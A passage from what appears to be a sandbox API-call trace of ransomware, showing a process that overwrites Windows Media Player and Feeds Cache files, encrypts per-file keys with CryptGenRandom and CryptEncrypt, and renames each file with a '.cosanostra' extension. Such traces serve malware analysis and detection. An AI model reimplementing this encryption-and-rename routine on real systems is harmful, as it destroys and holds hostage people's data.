(lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.074] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned 122 [0093.074] StrStrW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0093.075] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.075] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf32c*=0x4f3, lpOverlapped=0x0) returned 1 [0093.075] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.075] WriteFile (in: hFile=0x138, lpBuffer=0x2abf36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x2abf36c*, lpNumberOfBytesWritten=0x2abf32c*=0x4, lpOverlapped=0x0) returned 1 [0093.075] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf32c*=0x30, lpOverlapped=0x0) returned 1 [0093.076] CloseHandle (hObject=0x138) returned 1 [0093.076] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra") returned 133 [0093.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.cosanostra")) returned 1 [0093.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf370 | out: pbBuffer=0x2abf370) returned 1 [0093.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf368*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf368*=0x30) returned 1 [0093.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.077] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned 124 [0093.077] StrStrW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0093.078] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.078] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf32c*=0x4ff, lpOverlapped=0x0) returned 1 [0093.078] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.078] WriteFile (in: hFile=0x138, lpBuffer=0x2abf36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x2abf36c*, lpNumberOfBytesWritten=0x2abf32c*=0x4, lpOverlapped=0x0) returned 1 [0093.079] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf32c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf32c*=0x30, lpOverlapped=0x0) returned 1 [0093.079] CloseHandle (hObject=0x138) returned 1 [0093.079] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.cosanostra") returned 135 [0093.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.cosanostra")) returned 1 [0093.079] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf368 | out: pbBuffer=0x2abf368) returned 1 [0093.079] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf360*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf360*=0x30) returned 1 [0093.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.080] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 122 [0093.080] StrStrW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch=".txt") returned 0x0 [0093.081] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffbec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.081] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf324*=0x414, lpOverlapped=0x0) returned 1 [0093.081] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.081] WriteFile (in: hFile=0x138, lpBuffer=0x2abf364*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x2abf364*, lpNumberOfBytesWritten=0x2abf324*=0x4, lpOverlapped=0x0) returned 1 [0093.082] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf324*=0x30, lpOverlapped=0x0) returned 1 [0093.082] CloseHandle (hObject=0x138) returned 1 [0093.082] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.cosanostra") returned 133 [0093.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.cosanostra")) returned 1 [0093.083] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf368 | out: pbBuffer=0x2abf368) returned 1 [0093.083] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf360*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf360*=0x30) returned 1 [0093.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.084] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 73 [0093.084] StrStrW (lpFirst="LocalMLS_3.wmdb", lpSrch=".txt") returned 0x0 [0093.085] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.086] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf324*=0x2800, lpOverlapped=0x0) returned 1 [0093.086] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] WriteFile (in: hFile=0x138, lpBuffer=0x2abf364*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x2abf364*, lpNumberOfBytesWritten=0x2abf324*=0x4, lpOverlapped=0x0) returned 1 [0093.087] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf324, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf324*=0x30, lpOverlapped=0x0) returned 1 [0093.087] CloseHandle (hObject=0x138) returned 1 [0093.087] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.cosanostra") returned 84 [0093.087] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.cosanostra")) returned 1 [0093.088] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf360 | out: pbBuffer=0x2abf360) returned 1 [0093.088] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf358*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf358*=0x30) returned 1 [0093.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.088] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned 82 [0093.088] StrStrW (lpFirst="CurrentDatabase_372.wmdb", lpSrch=".txt") returned 0x0 [0093.104] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.104] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf31c*=0x2800, lpOverlapped=0x0) returned 1 [0093.104] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.104] WriteFile (in: hFile=0x138, lpBuffer=0x2abf35c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x2abf35c*, lpNumberOfBytesWritten=0x2abf31c*=0x4, lpOverlapped=0x0) returned 1 [0093.106] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf31c*=0x30, lpOverlapped=0x0) returned 1 [0093.106] CloseHandle (hObject=0x138) returned 1 [0093.106] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.cosanostra") returned 93 [0093.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.cosanostra")) returned 1 [0093.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf360 | out: pbBuffer=0x2abf360) returned 1 [0093.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf358*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf358*=0x30) returned 1 [0093.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.107] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 75 [0093.107] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0093.107] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.108] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf31c*=0x0, lpOverlapped=0x0) returned 1 [0093.108] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.108] WriteFile (in: hFile=0x138, lpBuffer=0x2abf35c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x2abf35c*, lpNumberOfBytesWritten=0x2abf31c*=0x4, lpOverlapped=0x0) returned 1 [0093.109] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf31c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf31c*=0x30, lpOverlapped=0x0) returned 1 [0093.109] CloseHandle (hObject=0x138) returned 1 [0093.109] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].cosanostra") returned 86 [0093.109] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].cosanostra")) returned 1 [0093.110] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf358 | out: pbBuffer=0x2abf358) returned 1 [0093.110] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf350*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf350*=0x30) returned 1 [0093.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.110] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini") returned 77 [0093.110] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0093.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.111] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abf314, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf314*=0x43, lpOverlapped=0x0) returned 1 [0093.111] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.111] WriteFile (in: hFile=0x138, lpBuffer=0x2abf354*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf314, lpOverlapped=0x0 | out: lpBuffer=0x2abf354*, lpNumberOfBytesWritten=0x2abf314*=0x4, lpOverlapped=0x0) returned 1 [0093.111] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf314, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf314*=0x30, lpOverlapped=0x0) returned 1 [0093.111] CloseHandle (hObject=0x138) returned 1 [0093.111] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.cosanostra") returned 88 [0093.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini.cosanostra")) returned 1 [0093.132] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf350 | out: pbBuffer=0x2abf350) returned 1 [0093.132] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf348*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf348*=0x30) returned 1 [0093.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.132] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 75 [0093.132] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0093.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.132] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf30c*=0x0, lpOverlapped=0x0) returned 1 [0093.132] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.132] WriteFile (in: hFile=0x138, lpBuffer=0x2abf34c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x2abf34c*, lpNumberOfBytesWritten=0x2abf30c*=0x4, lpOverlapped=0x0) returned 1 [0093.133] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf30c*=0x30, lpOverlapped=0x0) returned 1 [0093.133] CloseHandle (hObject=0x138) returned 1 [0093.133] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].cosanostra") returned 86 [0093.133] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].cosanostra")) returned 1 [0093.134] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf350 | out: pbBuffer=0x2abf350) returned 1 [0093.134] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf348*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf348*=0x30) returned 1 [0093.134] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0093.134] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 77 [0093.134] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0093.135] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.135] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf30c*=0x43, lpOverlapped=0x0) returned 1 [0093.135] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.135] WriteFile (in: hFile=0x138, lpBuffer=0x2abf34c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x2abf34c*, lpNumberOfBytesWritten=0x2abf30c*=0x4, lpOverlapped=0x0) returned 1 [0093.135] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf30c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf30c*=0x30, lpOverlapped=0x0) returned 1 [0093.135] CloseHandle (hObject=0x138) returned 1 [0093.135] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.cosanostra") returned 88 [0093.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini.cosanostra")) returned 1 [0093.215] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf348 | out: 